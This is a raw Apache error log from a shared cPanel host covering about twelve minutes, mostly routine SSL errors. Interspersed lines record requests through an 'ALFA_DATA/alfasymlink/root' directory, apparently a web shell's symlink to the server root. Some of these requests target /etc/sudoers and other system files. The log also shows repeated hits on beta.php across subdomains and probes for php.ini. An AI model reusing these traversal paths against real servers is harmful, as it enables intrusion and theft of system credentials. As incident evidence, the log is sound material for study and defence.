[Mon Oct 26 03:50:10.176062 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 44.206.65.8:6254] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:50:14.252201 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 98.82.66.172:36654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:50:22.120426 2026] [ssl:error] [pid 2994318:tid 2994318] (22)Invalid argument: [client 52.203.237.170:35740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:50:26.134539 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 44.215.210.112:35354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:50:42.219364 2026] [ssl:error] [pid 2984073:tid 2984073] (5)Input/output error: [client 54.225.98.148:19991] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:50:50.147416 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 34.192.125.239:33328] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:50:54.163282 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 100.29.160.53:24896] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:50:58.139039 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 52.203.152.231:65100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:51:06.261117 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 44.193.102.198:2244] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:51:14.203817 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 54.167.32.123:32086] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:51:15.211301 2026] [core:error] [pid 2992769:tid 2992769] (13)Permission denied: [client 185.191.171.17:41378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/sudoers
[Mon Oct 26 03:51:18.126028 2026] [ssl:error] [pid 2994318:tid 2994318] (70014)End of file found: [client 44.217.177.142:62115] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:51:26.225789 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 54.197.178.107:55559] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:51:30.151871 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 54.197.178.107:12637] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:51:34.108284 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 34.195.60.66:64251] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:51:42.140490 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 54.157.84.74:53807] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:51:45.465049 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 85.208.96.212:40374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/intel_rapl_common/sections/__kcrctab_gpl
[Mon Oct 26 03:51:46.347586 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 54.197.114.76:19449] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:51:50.162420 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 34.196.114.170:4071] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:52:00.755502 2026] [core:crit] [pid 2993961:tid 2993961] (13)Permission denied: [client 167.94.146.56:52724] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 03:52:01.628250 2026] [core:crit] [pid 2992768:tid 2992768] (13)Permission denied: [client 167.94.146.56:52738] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 03:52:10.234973 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 54.145.82.217:49310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:52:18.365672 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 52.44.174.136:5899] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:52:26.603562 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 52.1.157.90:21227] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:52:30.219553 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 18.232.36.1:14786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:52:42.294188 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 44.221.227.90:42342] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:52:46.231588 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 18.215.77.19:42709] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:52:50.432540 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 34.225.87.80:23979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:52:54.221788 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 54.147.182.90:38809] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:53:02.404626 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 100.29.34.97:60012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:53:10.268106 2026] [core:error] [pid 2984441:tid 2984441] (13)Permission denied: [client 34.234.206.30:53908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/subsystem/drivers/ac/uevent
[Mon Oct 26 03:53:13.051645 2026] [core:crit] [pid 2984462:tid 2984462] (13)Permission denied: [client 45.156.87.44:65368] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 03:53:13.212462 2026] [core:crit] [pid 2992769:tid 2992769] (13)Permission denied: [client 45.156.87.44:65370] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 03:53:19.510207 2026] [core:error] [pid 2994318:tid 2994318] (13)Permission denied: [client 85.208.96.198:42664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/reclaim_account
[Mon Oct 26 03:53:22.431934 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 23.21.179.120:47276] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:53:30.661740 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 52.200.251.20:6234] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ata_piix/module/sections/__mcount_loc
[Mon Oct 26 03:53:37.784236 2026] [core:error] [pid 2984441:tid 2984441] (13)Permission denied: [client 185.191.171.16:30746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/red_zone
[Mon Oct 26 03:53:38.306617 2026] [core:error] [pid 2984462:tid 2984462] (13)Permission denied: [client 98.84.70.201:42075] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input5/subsystem/input1/subsystem/input5/device/driver/module/drivers/platform:pcspkr/uevent
[Mon Oct 26 03:53:46.257649 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 107.23.62.75:51808] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:53:46.257959 2026] [security2:error] [pid 2992768:tid 2992768] [client 107.23.62.75:51808] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXCPU:00/physical_node/node0/memory7/node0/cpu1/driver/cpu0/cache/index0/physical_line_partition"] [unique_id "at8HChF774Wp7BGGZJkjEQAAAAU"]
[Mon Oct 26 03:53:46.257992 2026] [security2:error] [pid 2992768:tid 2992768] [client 107.23.62.75:51808] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXCPU:00/physical_node/node0/memory7/node0/cpu1/driver/cpu0/cache/index0/physical_line_partition"] [unique_id "at8HChF774Wp7BGGZJkjEQAAAAU"]
[Mon Oct 26 03:53:54.419904 2026] [ssl:error] [pid 2994318:tid 2994318] (5)Input/output error: [client 35.169.240.53:18260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:53:58.334518 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 34.206.212.24:54469] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:54:02.286086 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 44.213.36.21:59178] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:54:06.314164 2026] [core:error] [pid 2992768:tid 2992768] (13)Permission denied: [client 54.243.63.52:63094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory2/node0/compact
[Mon Oct 26 03:54:10.473030 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 3.214.176.44:46497] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:54:18.451112 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 98.83.72.38:9033] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:54:19.672654 2026] [security2:error] [pid 2984450:tid 2984450] [client 43.165.198.144:60260] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/search_and_click.php"] [unique_id "at8HK8XfkN7WrB_bUyLiAAAAABs"]
[Mon Oct 26 03:54:22.699861 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 3.220.70.171:39612] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:54:26.412590 2026] [core:error] [pid 2994318:tid 2994318] (13)Permission denied: [client 3.209.174.110:16364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1a/subsystem/drivers/pvpanic/uevent
[Mon Oct 26 03:54:38.460807 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 18.205.91.101:17267] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:54:54.551696 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 3.94.199.128:40742] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:55:18.223705 2026] [core:error] [pid 2994318:tid 2994318] (13)Permission denied: [client 85.208.96.211:33032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/min_partial
[Mon Oct 26 03:55:19.317528 2026] [core:error] [pid 2982084:tid 2982084] (13)Permission denied: [client 85.208.96.211:33044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/slabs_cpu_partial
[Mon Oct 26 03:55:26.498875 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 44.205.74.196:45044] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:55:30.717909 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 3.230.224.6:62787] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:55:34.560068 2026] [ssl:error] [pid 2994318:tid 2994318] (70014)End of file found: [client 52.205.113.104:37362] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:55:38.464247 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 100.29.128.75:56005] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:55:50.719067 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 100.25.120.246:18093] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:55:54.579935 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 23.23.214.190:47287] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:56:02.507959 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 34.195.248.30:34722] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:56:14.561183 2026] [core:error] [pid 2992768:tid 2992768] (13)Permission denied: [client 23.23.212.212:26026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers/button/LNXPWRBN:00/driver/uevent
[Mon Oct 26 03:56:26.720678 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 44.215.231.15:14732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:56:30.530570 2026] [core:error] [pid 2992768:tid 2992768] (13)Permission denied: [client 185.191.171.3:26122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/scripts/create_default_featurelist
[Mon Oct 26 03:56:30.669604 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 100.29.155.89:41593] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:56:46.587647 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 100.28.57.133:40510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:56:50.130374 2026] [core:crit] [pid 2992768:tid 2992768] (13)Permission denied: [client 66.132.195.37:35542] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 03:56:50.698493 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 3.94.156.104:22280] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:56:53.191467 2026] [core:crit] [pid 2984261:tid 2984261] (13)Permission denied: [client 66.132.195.37:35560] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 03:56:55.122290 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 54.80.185.200:65105] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:57:15.043092 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 34.226.89.140:54037] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:57:15.619900 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 185.191.171.1:36026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-512/shrink
[Mon Oct 26 03:57:15.734308 2026] [security2:error] [pid 2990575:tid 2990575] [client 107.172.76.131:52173] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8Hzznj8sJWmxnIswzOBwAAAAQ"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 03:57:15.734348 2026] [security2:error] [pid 2990575:tid 2990575] [client 107.172.76.131:52173] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8Hzznj8sJWmxnIswzOBwAAAAQ"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 03:57:19.239695 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 54.83.240.58:15490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:57:26.775391 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 98.82.40.168:10177] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:57:30.792165 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 34.227.156.153:58619] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:57:42.929990 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 185.191.171.12:28244] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:57:46.812849 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.231.45.47:39089] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:57:52.050057 2026] [core:error] [pid 2992768:tid 2992768] (13)Permission denied: [client 185.191.171.19:19018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/files_cache/align
[Mon Oct 26 03:58:02.786895 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 100.29.164.178:19840] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:58:06.767162 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 54.84.147.79:14616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:58:11.212014 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 34.206.249.188:21478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:58:15.137857 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 34.194.14.255:47260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:58:18.939792 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 52.4.213.199:27266] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:58:23.092649 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 3.223.181.32:34808] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:58:26.896471 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 44.196.118.6:43168] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:58:34.922190 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 34.203.111.15:22847] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:58:42.994528 2026] [core:error] [pid 2992768:tid 2992768] (13)Permission denied: [client 54.145.82.217:28327] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/firmware_node/subsystem/drivers_probe
[Mon Oct 26 03:58:46.984465 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 3.229.95.193:19257] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:59:03.022448 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 52.6.232.201:46769] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:59:11.088940 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 52.70.123.241:29643] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:59:23.156056 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 54.197.178.107:48397] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/thermal_cooling/device/physical_node/driver/uevent
[Mon Oct 26 03:59:27.102510 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 100.29.107.38:20571] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:59:31.209915 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 52.7.33.248:53734] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:59:43.214000 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 52.6.97.88:61038] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:59:51.348881 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 98.83.94.113:24139] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:59:55.306050 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 3.211.105.134:24338] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:59:59.178044 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 52.5.242.243:5590] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:00:03.313888 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 54.225.81.20:29626] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:00:06.136535 2026] [security2:error] [pid 2993961:tid 2993961] [client 107.172.76.131:52216] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8IehJqpTbSe9f2_suAxwAAAAc"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 04:00:06.136592 2026] [security2:error] [pid 2993961:tid 2993961] [client 107.172.76.131:52216] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8IehJqpTbSe9f2_suAxwAAAAc"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 04:00:12.019470 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 54.225.98.148:49735] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:00:15.230385 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 54.87.62.248:63760] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:00:23.433181 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 184.73.239.35:6233] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:00:31.070143 2026] [core:error] [pid 2982126:tid 2982126] (13)Permission denied: [client 85.208.96.199:46074] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-4k/objs_per_slab
[Mon Oct 26 04:00:47.666273 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 18.204.152.114:43396] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:00:55.571027 2026] [ssl:error] [pid 2994318:tid 2994318] (70014)End of file found: [client 3.224.104.67:46918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:00:58.668723 2026] [security2:error] [pid 2994762:tid 2994762] [client 107.172.76.131:52201] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8IruGUikRYk_Y-M4eMBQAAAAE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 04:00:58.668786 2026] [security2:error] [pid 2994762:tid 2994762] [client 107.172.76.131:52201] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8IruGUikRYk_Y-M4eMBQAAAAE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 04:01:15.573036 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 52.3.155.146:18429] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/ehci-pci/bind
[Mon Oct 26 04:01:17.959007 2026] [core:error] [pid 2996018:tid 2996018] (13)Permission denied: [client 185.191.171.10:31674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/khugepaged_mm_slot/store_user
[Mon Oct 26 04:01:19.666461 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 44.221.37.41:28086] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:01:31.710397 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 3.212.86.97:37046] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/virtual/tty/tty1/subsystem/tty3/subsystem/ttyS0/iomem_base
[Mon Oct 26 04:01:39.675851 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 54.197.82.195:15161] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:01:43.585375 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 23.23.214.190:19420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:05/physical_node/resource4
[Mon Oct 26 04:01:46.008967 2026] [authz_core:error] [pid 2996081:tid 2996081] [client 47.79.207.91:5166] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini, referer: https://www.google.com/
[Mon Oct 26 04:01:47.949703 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 54.89.90.224:31480] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:01:51.756690 2026] [core:error] [pid 2994762:tid 2994762] (13)Permission denied: [client 52.45.15.233:33625] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/resource1
[Mon Oct 26 04:01:59.654738 2026] [ssl:error] [pid 2996081:tid 2996081] (70014)End of file found: [client 3.214.176.44:23159] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:02:03.867841 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 52.205.141.124:14620] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:02:07.694980 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 98.83.10.183:28027] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:02:11.695629 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 98.82.38.120:60240] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:02:19.796500 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 34.227.156.153:51549] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:02:25.735942 2026] [core:crit] [pid 2995190:tid 2995190] (13)Permission denied: [client 8.209.114.67:24004] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 04:02:25.909904 2026] [authz_core:error] [pid 2996018:tid 2996018] [client 8.209.114.67:24012] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 04:02:27.740451 2026] [core:error] [pid 2992768:tid 2992768] (13)Permission denied: [client 23.23.103.31:28148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:00/physical_node/crash_notes
[Mon Oct 26 04:02:31.739864 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 3.213.213.161:48908] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:02:34.031600 2026] [security2:error] [pid 2990575:tid 2990575] [client 107.172.76.131:52231] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8JDznj8sJWmxnIswzOGgAAAAQ"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 04:02:34.031673 2026] [security2:error] [pid 2990575:tid 2990575] [client 107.172.76.131:52231] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8JDznj8sJWmxnIswzOGgAAAAQ"], referer: https://hosp2.sherwinpinturas.com/beta.php
